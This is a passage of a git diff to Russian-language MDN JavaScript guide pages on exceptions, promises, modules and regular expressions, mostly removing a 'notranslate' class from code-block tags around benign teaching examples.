class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"Error2"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // string </span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="number token" style="color: #990055;">42</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // number </span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">;</span> <span class="comment token" style="color: #708090;"> // boolean </span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="punctuation token" style="color: #999999;">{ </span>toString<span class="punctuation token" style="color: #999999;">:</span> <span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">return</span> <span class="string token" style="color: #669900;">"I'm an object!"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// object</span></code></pre> @@ -191,7 +191,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p class="note">В следующем примере объект <code>UserException</code> выбрасывается как исключение:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> UserException <span class="punctuation token" style="color: #999999;">(</span>message<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> UserException <span class="punctuation token" style="color: #999999;">(</span>message<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>message <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">= </span>message<span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>name <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">= </span><span class="string token" style="color: #669900;">"UserException"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> @@ -208,7 +208,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <p>В следующем примере вызывается функция <code>getMonthName</code>, которая возвращает название месяца по его номеру. Если месяца с указанным номером не существует, то функция выбросит исключение <code>"InvalidMonthNo"</code>, которое будет перехвачено в блоке <code>catch</code>:</p> -<pre class="brush: js notranslate">function getMonthName(mo) { +<pre class="brush: js">function getMonthName(mo) { mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec) var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul", "Aug","Sep","Oct","Nov","Dec"]; @@ -239,7 +239,7 @@ catch (e) { <p>В следующем примере выбрасывается исключение, которое перехватывается в блоке <code>catch</code>:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"myException"</span><span class="comment token" style="color: #708090;"> </span><span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token"> </span><span class="keyword token" style="color: #0077aa;">catch</span> <span class="punctuation token" style="color: #999999;">(</span><span class="class-name token">e</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{ </span></code><code class="language-js" style="direction: ltr; white-space: pre;">console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">error<span class="punctuation token" style="color: #999999;">(</span></span>e<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;"> @@ -251,7 +251,7 @@ catch (e) { <p>В следующем примере открывается файл, затем в блоке <code>try</code> происходит вызов функции <code>writeMyFile</code>, который может выбросить исключение. Если возникает исключение, то оно обрабатывается в блоке <code>catch</code>. В любом случае файл будет закрыт функцией <code>closeMyFile</code>, вызов которой находится в блоке <code>finally</code>.</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="function token" style="color: #dd4a68;">openMyFile<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="function token" style="color: #dd4a68;">openMyFile<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="function token" style="color: #dd4a68;">writeMyFile<span class="punctuation token" style="color: #999999;">(</span></span>theData<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> </span><span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">catch</span><span class="punctuation token" style="color: #999999;">(</span>e<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> @@ -262,7 +262,7 @@ catch (e) { <p>Если блок <code>finally</code> возвращает значение, то данное значение становится возвращаемым значением всей связки <code>try-catch-finally</code>. Значения, возвращаемые блоками <code>try</code> и <code>catch</code>, будут проигнорированы.</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="number token" style="color: #990055;">0</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"bogus"</span><span class="punctuation token" style="color: #999999;">;</span> @@ -282,7 +282,7 @@ catch (e) { <p>Замена возвращаемых значений блоком <code>finally</code> распространяется в том числе и на исключения, которые выбрасываются или перевыбрасываются в блоке <code>catch</code>:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">f<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">try</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"bogus"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">catch</span><span class="punctuation token" style="color: #999999;">(</span>e<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> @@ -314,7 +314,7 @@ catch (e) { <p>Если вы выбрасываете собственные исключения, то чтобы получить преимущество, которое предоставляют эти свойства (например, если ваш блок <code>catch</code> не делает различий между вашими исключениями и системными), используйте конструктор <code>Error</code>. Например:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> doSomethingErrorProne <span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> doSomethingErrorProne <span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="function token" style="color: #dd4a68;">ourCodeMakesAMistake<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">throw</span> <span class="punctuation token" style="color: #999999;">( </span><span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">Error</span><span class="punctuation token" style="color: #999999;">(</span><span class="string token" style="color: #669900;">'The message'</span><span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">else</span> <span class="punctuation token" style="color: #999999;">{</span> @@ -348,7 +348,7 @@ catch (e) { <p>Простой пример использования объектов <code>Promise</code> и <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> для загрузки изображения доступен в репозитории MDN <a href="https://github.com/mdn/js-examples/tree/master/promises-test">promise-test</a> на GitHub. Вы также можете <a href="https://mdn.github.io/js-examples/promises-test/">посмотреть его в действии</a>. Каждый шаг прокомментирован, что позволяет вам разобраться в архитектуре <code>Promise</code> и XHR. Здесь приводится версия без комментариев:</p> -<pre class="brush: js language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">imgLoad<span class="punctuation token" style="color: #999999;">(</span></span>url<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> +<pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">imgLoad<span class="punctuation token" style="color: #999999;">(</span></span>url<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">Promise</span><span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span>resolve<span class="punctuation token" style="color: #999999;">,</span> reject<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">var</span> request <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">XMLHttpRequest</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> request<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">open<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">'GET'</span><span class="punctuation token" style="color: #999999;">,</span> url<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span> diff --git a/files/ru/web/javascript/guide/modules/index.html b/files/ru/web/javascript/guide/modules/index.html index 8bf2b4af9c..8416503814 100644 --- a/files/ru/web/javascript/guide/modules/index.html +++ b/files/ru/web/javascript/guide/modules/index.html @@ -43,7 +43,7 @@ translation_of: Web/JavaScript/Guide/Modules <p>В первом примере (см. директорию <a href="https://github.com/mdn/js-examples/tree/master/modules/basic-modules">basic-modules</a>) у нас следующая структура файлов:</p> -<pre class="notranslate">index.html +<pre>index.html main.js modules/ canvas.js @@ -106,7 +106,7 @@ modules/ <p>Самый простой способ использовать экспорт — поместить конструкцию <code>export</code> перед любыми элементами, которые вы хотите экспортировать из модуля, например:</p> -<pre class="brush: js; notranslate">export const name = 'square'; +<pre class="brush: js;">export const name = 'square'; export function draw(ctx, length, x, y, color) { ctx.fillStyle = color; @@ -125,13 +125,13 @@ export function draw(ctx, length, x, y, color) { <p>Более удобный способ экспорта всех элементов, которые вы хотите экспортировать,— использовать одну конструкцию <code>export</code> в конце файла модуля, где указать переменные, функции, классы, который вы хотите экспортировать, через запятую в фигурных скобках. Например:</p> -<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre> +<pre class="brush: js;">export { name, draw, reportArea, reportPerimeter };</pre> <h2 id="Импорт_функционала_в_ваш_скрипт">Импорт функционала в ваш скрипт</h2> <p>После того, как вы экспортировали некоторые функции из своего модуля, вам необходимо импортировать их в свой скрипт, чтобы иметь возможность использовать их. Самый простой способ сделать это:</p> -<pre class="brush: js; notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';</pre> +<pre class="brush: js;">import { name, draw, reportArea, reportPerimeter } from './modules/square.js';</pre> <p>Используйте конструкцию {{JSxRef("Statements/import", "import")}}, за которой следует разделенный запятыми список функций, которые вы хотите импортировать, заключённый в фигурные скобки, за которым следует ключевое слово from, за которым следует путь к файлу модуля — путь относительно корня сайта, который для нашего примера <code>basic-modules</code> будет равен <code>/js-examples/modules/basic-modules</code>.</p> @@ -140,11 +140,11 @@ export function draw(ctx, length, x, y, color) { <p>Так например:</p> -<pre class="notranslate">/js-examples/modules/basic-modules/modules/square.js</pre> +<pre>/js-examples/modules/basic-modules/modules/square.js</pre> <p>становится</p> -<pre class="notranslate">./modules/square.js</pre> +<pre>./modules/square.js</pre> <p>Вы можете найти подобные строки кода в файле <code><a href="https://github.com/mdn/js-examples/blob/master/modules/basic-modules/main.js">main.js</a></code>.</p> @@ -155,7 +155,7 @@ export function draw(ctx, length, x, y, color) { <p>После того, как вы импортировали функции в свой скрипт, вы можете использовать их так же, как если бы они были определены в этом же файле. Следующий пример можно найти в <code>main.js</code>, сразу за строками импорта:</p> -<pre class="brush: js; notranslate">let myCanvas = create('myCanvas', document.body, 480, 320); +<pre class="brush: js;">let myCanvas = create('myCanvas', document.body, 480, 320); let reportList = createReportList(myCanvas.id); let square1 = draw(myCanvas.ctx, 50, 50, 100, 'blue'); @@ -177,11 +177,11 @@ reportPerimeter(square1.length, reportList); <p>Прежде всего, вам нужно добавить <code>type="module"</code> в <a href="/en-US/docs/Web/HTML/Element/script" title="The HTML <script> элемент используется для встраивания исполняемого кода или ссылки на него; обычно используется для встраивания JavaScript кода или ссылки на него."><code><script></code></a>-элемент, чтобы объявить, что скрипт является модулем. Чтобы подключить модуль <code>main.js</code>, нужно написать следующее:</p> -<pre class="brush: html; no-line-numbers notranslate"><script type="module" src="main.js"></script></pre> +<pre class="brush: html; no-line-numbers"><script type="module" src="main.js"></script></pre> <p>Вы также можете встроить скрипт модуля непосредственно в HTML-файл, поместив JavaScript-код внутрь <code><script></code>-элемента:</p> -<pre class="brush: js notranslate"><script type="module"> +<pre class="brush: js"><script type="module"> /* код JavaScript модуля */ </script></pre> @@ -213,25 +213,25 @@ reportPerimeter(square1.length, reportList); <p>Давайте посмотрим на пример, и мы объясним, как это работает. В модуле <code>square.js</code> из нашего примера вы можете найти функцию <code>randomSquare()</code>, которая создаёт квардрат случайного цвета и размера со случайными координатами. Мы хотим экпортировать эту функции по умолчанию, поэтому в конце файла пишем следующее:</p> -<pre class="brush: js; notranslate">export default randomSquare;</pre> +<pre class="brush: js;">export default randomSquare;</pre> <p>Обратите внимание на отсутствие фигурных скобок.</p> <p>Кстати, можно было бы определить функцию как анонимную и добавить к ней <code>export default</code>:</p> -<pre class="brush: js; notranslate">export default function(ctx) { +<pre class="brush: js;">export default function(ctx) { ... }</pre> <p>В нашем файле <code>main.js</code> мы импортируем функцию по умолчанию, используя эту строку:</p> -<pre class="brush: js; notranslate">import randomSquare from './modules/square.js';</pre> +<pre class="brush: js;">import randomSquare from './modules/square.js';</pre> <p>Снова обратите внимание на отсутствие фигурных скобок. Такой синтакис допустим, поскольку для каждого модуля разрешен только один экспорт по умолчанию, и мы знаем, что это <code>randomSquare</code>. Вышеупомянутая строка является сокращением для:</p> -<pre class="brush: js; notranslate">import {default as randomSquare} from './modules/square.js';</pre> +<pre class="brush: js;">import {default as randomSquare} from './modules/square.js';</pre> <div class="blockIndicator note"> <p><strong>Примечание</strong>: «as» синтаксис для переименования экспортируемых элементов поясняется ниже в разделе <a href="#Переименование_импорта_и_экмпорта">Переименование импорта и экмпорта</a>.</p> @@ -252,7 +252,7 @@ reportPerimeter(square1.length, reportList); <p>Так, например, оба следующих элемента будут выполнять одну и ту же работу, хотя и немного по-разному:</p> -<pre class="brush: js; notranslate">// внутри module.js +<pre class="brush: js;">// внутри module.js export { function1 as newFunctionName, function2 as anotherNewFunctionName @@ -261,7 +261,7 @@ export { // внутри main.js import { newFunctionName, anotherNewFunctionName } from './modules/module.js';</pre> -<pre class="brush: js; notranslate">// внутри module.js +<pre class="brush: js;">// внутри module.js export { function1, function2 }; // внутри main.js @@ -274,11 +274,11 @@ import { function1 as newFunctionName, <p>Внутри каждого из этих модулей у нас есть функции с одинаковыми именами, которые экспортируются, и поэтому у каждого из них есть один и тот же оператор <code>export</code> внизу файла:</p> -<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre> +<pre class="brush: js;">export { name, draw, reportArea, reportPerimeter };</pre> <p>Если бы в <code>main.js</code> при их импорте мы попытались использовать</p> -<pre class="brush: js; notranslate">import { name, draw, reportArea, reportPerimeter } from './modules/square.js'; +<pre class="brush: js;">import { name, draw, reportArea, reportPerimeter } from './modules/square.js'; import { name, draw, reportArea, reportPerimeter } from './modules/circle.js'; import { name, draw, reportArea, reportPerimeter } from './modules/triangle.js';</pre> @@ -286,7 +286,7 @@ import { name, draw, reportArea, reportPerimeter } from './modules/triangle.js'; <p>Вместо этого нам нужно переименовать импорт, чтобы он был уникальным:</p> -<pre class="brush: js; notranslate">import { name as squareName, +<pre class="brush: js;">import { name as squareName, draw as drawSquare, reportArea as reportSquareArea, reportPerimeter as reportSquarePerimeter } from './modules/square.js'; @@ -303,13 +303,13 @@ import { name as triangleName, <p>Обратите внимание, что вместо этого вы можете решить проблему в файлах модуля, например.</p> -<pre class="brush: js; notranslate">// внутри square.js +<pre class="brush: js;">// внутри square.js export { name as squareName, draw as drawSquare, reportArea as reportSquareArea, reportPerimeter as reportSquarePerimeter };</pre> -<pre class="brush: js; notranslate">// внутри main.js +<pre class="brush: js;">// внутри main.js import { squareName, drawSquare, reportSquareArea, reportSquarePerimeter } from './modules/square.js';</pre> <p>И это сработало бы точно так же. @@ -322,11 +322,11 @@ import { squareName, drawSquare, reportSquareArea, reportSquarePerimeter } from Существует решение получше — импортировать функции каждого модуля внутри объекта модуля. Для этого используется следующая синтаксическая форма:</p> -<pre class="brush: js; notranslate">import * as Module from './modules/module.js';</pre> +<pre class="brush: js;">import * as Module from './modules/module.js';</pre> <p>Эта конструкция берёт все экспорты, доступные внутри <code>module.js</code> и делает их доступными в качестве свойств объекта <code>Module</code>, фактически давая ему собственное пространство имен. Так например:</p> -<pre class="brush: js; notranslate">Module.function1() +<pre class="brush: js;">Module.function1() Module.function2() </pre> и т.д. @@ -335,11 +335,11 @@ Module.function2() вы снова увидите тот же самый пример, но переписанный с учётом преимуществ этого нового синтаксиса. В модулях все экспорты представлены в следующей простой форме:</p> -<pre class="brush: js; notranslate">export { name, draw, reportArea, reportPerimeter };</pre> +<pre class="brush: js;">export { name, draw, reportArea, reportPerimeter };</pre> <p>С другой стороны, импорт выглядит так:</p> -<pre class="brush: js; notranslate">import * as Canvas from './modules/canvas.js'; +<pre class="brush: js;">import * as Canvas from './modules/canvas.js'; import * as Square from './modules/square.js'; import * as Circle from './modules/circle.js'; @@ -347,7 +347,7 @@ import * as Triangle from './modules/triangle.js';</pre> <p>В каждом случае теперь вы можете получить доступ к импорту модуля под указанным свойством объекта, например:</p> -<pre class="brush: js; notranslate">let square1 = Square.draw(myCanvas.ctx, 50, 50, 100, 'blue'); +<pre class="brush: js;">let square1 = Square.draw(myCanvas.ctx, 50, 50, 100, 'blue'); Square.reportArea(square1.length, reportList); Square.reportPerimeter(square1.length, reportList);</pre> @@ -360,7 +360,7 @@ Square.reportPerimeter(square1.length, reportList);</pre> <p>Вы можете увидеть пример нашего модуля для рисования фигур, переписанного с помощью классов ES в нашей <a href="https://github.com/mdn/js-examples/tree/master/modules/classes">classes</a> директории. В качестве примера, файд <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/modules/square.js">square.js</a></code> теперь содержит всю свою функциональность в одном классе:</p> -<pre class="brush: js; notranslate">class Square { +<pre class="brush: js;">class Square { constructor(ctx, listId, length, x, y, color) { ... } @@ -374,15 +374,15 @@ Square.reportPerimeter(square1.length, reportList);</pre> <p>который мы затем экспортируем:</p> -<pre class="brush: js; notranslate">export { Square };</pre> +<pre class="brush: js;">export { Square };</pre> <p>Далее в <code><a href="https://github.com/mdn/js-examples/blob/master/modules/classes/main.js">main.js</a></code>, мы импортируем его так:</p> -<pre class="brush: js; notranslate">import { Square } from './modules/square.js';</pre> +<pre class="brush: js;">import { Square } from './modules/square.js';</pre> <p>А затем используем импортированный класс, чтобы нарисовать наш квадрат:</p> -<pre class="brush: js; notranslate">let square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue'); +<pre class="brush: js;">let square1 = new Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue'); square1.draw(); square1.reportArea(); square1.reportPerimeter();</pre> @@ -393,7 +393,7 @@ square1.reportPerimeter();</pre> У вас может быть несколько уровней зависимостей, где вы хотите упростить вещи, объединив несколько подмодулей в один родительский модуль. Это возможно с использованием следующего синтаксиса экспорта в родительском модуле:</p> -<pre class="brush: js; notranslate">export * from 'x.js' +<pre class="brush: js;">export * from 'x.js' export { name } from 'x.js'</pre> <p>Для примера посмотрите на нашу директорию <a href="https://github.com/mdn/js-examples/tree/master/modules/module-aggregation">module-aggregation</a>. @@ -402,7 +402,7 @@ export { name } from 'x.js'</pre> Мы также переместили наши подмодули в дочернюю директорию внутри директории <code>modules</code> под названием <code>shape</code>. Итак, структура модуля в этом примере:</p> -<pre class="notranslate">modules/ +<pre>modules/ canvas.js shapes.js shapes/ @@ -412,12 +412,12 @@ export { name } from 'x.js'</pre> <p>В каждом из подмодулей экспорт имеет одинаковую форму, например:</p> -<pre class="brush: js; notranslate">export { Square };</pre> +<pre class="brush: js;">export { Square };</pre> <p>Далее идет агрегирование. Внутри <code><a href="https://github.com/mdn/js-examples/blob/master/modules/module-aggregation/modules/shapes.js">shapes.js</a></code>, мы добавляем следующие строки:</p> -<pre class="brush: js; notranslate">export { Square } from './shapes/square.js'; +<pre class="brush: js;">export { Square } from './shapes/square.js'; export { Triangle } from './shapes/triangle.js'; export { Circle } from './shapes/circle.js';</pre> @@ -429,13 +429,13 @@ export { Circle } from './shapes/circle.js';</pre> <p>Итак, теперь в файле <code>main.js</code> мы можем получить доступ ко всем трём классам модулей, заменив:</p> -<pre class="brush: js; notranslate">import { Square } from './modules/square.js'; +<pre class="brush: js;">import { Square } from './modules/square.js'; import { Circle } from './modules/circle.js'; import { Triangle } from './modules/triangle.js';</pre> <p>на единственную строку кода:</p> -<pre class="brush: js; notranslate">import { Square, Circle, Triangle } from './modules/shapes.js';</pre> +<pre class="brush: js;">import { Square, Circle, Triangle } from './modules/shapes.js';</pre> <h2 id="Динамическая_загрузка_модулей">Динамическая загрузка модулей</h2> @@ -446,7 +446,7 @@ import { Triangle } from './modules/triangle.js';</pre> <p>Поддержка динамической загрузки модулей позволяет вызывать {{JSxRef("Statements/import", "import()", "#Dynamic_Imports")}} в качестве функции, передав ей аргументом путь к модулю. Данный вызов возвращает {{JSxRef("Promise")}}, который резолвится объектом модуля (см. <a href="#Создание_объекта_модуля">Создание объекта модуля</a>), предоставляя вам доступ к экспорту указанного модуля, например:</p> -<pre class="brush: js; notranslate">import('./modules/myModule.js') +<pre class="brush: js;">import('./modules/myModule.js') .then((module) => { // делаем что-то с функционалом из импортированного модуля });</pre> @@ -460,11 +460,11 @@ import { Triangle } from './modules/triangle.js';</pre> <p>Далее в <code>main.js</code> мы взяли ссылку на каждую кнопку, используя вызов <a href="/en-US/docs/Web/API/Document/querySelector"><code>document.querySelector()</code></a>:</p> -<pre class="brush: js; notranslate">let squareBtn = document.querySelector('.square');</pre> +<pre class="brush: js;">let squareBtn = document.querySelector('.square');</pre> <p>Затем мы добавляем обработчик событий на каждую кнопку, чтобы при нажатии соответствующий модуль динамически загружался и использовался для рисования фигуры:</p> -<pre class="brush: js; notranslate">squareBtn.addEventListener('click', () => { +<pre class="brush: js;">squareBtn.addEventListener('click', () => { import('./modules/square.js').then((Module) => { let square1 = new Module.Square(myCanvas.ctx, myCanvas.listId, 50, 50, 100, 'blue'); square1.draw(); diff --git a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html index f9e2b054a3..8a379e7653 100644 --- a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html @@ -149,7 +149,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes <h3 id="Поиск_серии_цифр">Поиск серии цифр</h3> -<pre class="brush: js notranslate">var randomData = "015 354 8787 687351 3512 8735"; +<pre class="brush: js">var randomData = "015 354 8787 687351 3512 8735"; var regexpFourDigits = /\b\d{4}\b/g; // \b определяет границу поиска (например, не начинает поиск с середины слова) // \d{4} определяет цифру, четыре раза @@ -162,7 +162,7 @@ console.table(randomData.match(regexpFourDigits)); <h3 id="Поиск_слов_латинский_алфавит_начинающих_с_A">Поиск слов (латинский алфавит), начинающих с A</h3> -<pre class="brush: js notranslate">var aliceExcerpt = "I’m sure I’m not Ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all."; +<pre class="brush: js">var aliceExcerpt = "I’m sure I’m not Ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all."; var regexpWordStartingWithA = /\b[aA]\w+/g; // \b определяет границу поиска (например, не начинает поиск с середины слова) // [aA] определяет букву a или A @@ -176,7 +176,7 @@ console.table(aliceExcerpt.match(regexpWordStartingWithA)); <p>Вместо латинского алфавита, мы может использовать диапазон Unicode символов для определения слова (благодаря этому мы можем работать с текстами написанным, например на русском или арабском языке or Arabic). Unicode содержит большинство символов используемых на планете, мы так же можем объединять их диапазоны и классы символов.</p> -<pre class="brush: js notranslate">var nonEnglishText = "Приключения Алисы в Стране чудес"; +<pre class="brush: js">var nonEnglishText = "Приключения Алисы в Стране чудес"; var regexpBMPWord = /([\u0000-\u0019\u0021-\uFFFF])+/gu; // BMP goes through U+0000 to U+FFFF but space is U+0020 diff --git a/files/ru/web/javascript/guide/regular_expressions/index.html b/files/ru/web/javascript/guide/regular_expressions/index.html index d6a9f157de..d92683f778 100644 --- a/files/ru/web/javascript/guide/regular_expressions/index.html +++ b/files/ru/web/javascript/guide/regular_expressions/index.html @@ -14,7 +14,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions <ul> <li>Используя литерал регулярного выражения, например: <div style="margin-right: 270px;"> - <pre class="brush: js notranslate">var re = /ab+c/; + <pre class="brush: js">var re = /ab+c/; </pre> </div> @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions </li> <li>Вызывая функцию конструктор объекта <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="en-US/docs/JavaScript/Reference/Global Objects/RegExp">RegExp</a></code>, например: <div style="margin-right: 270px;"> 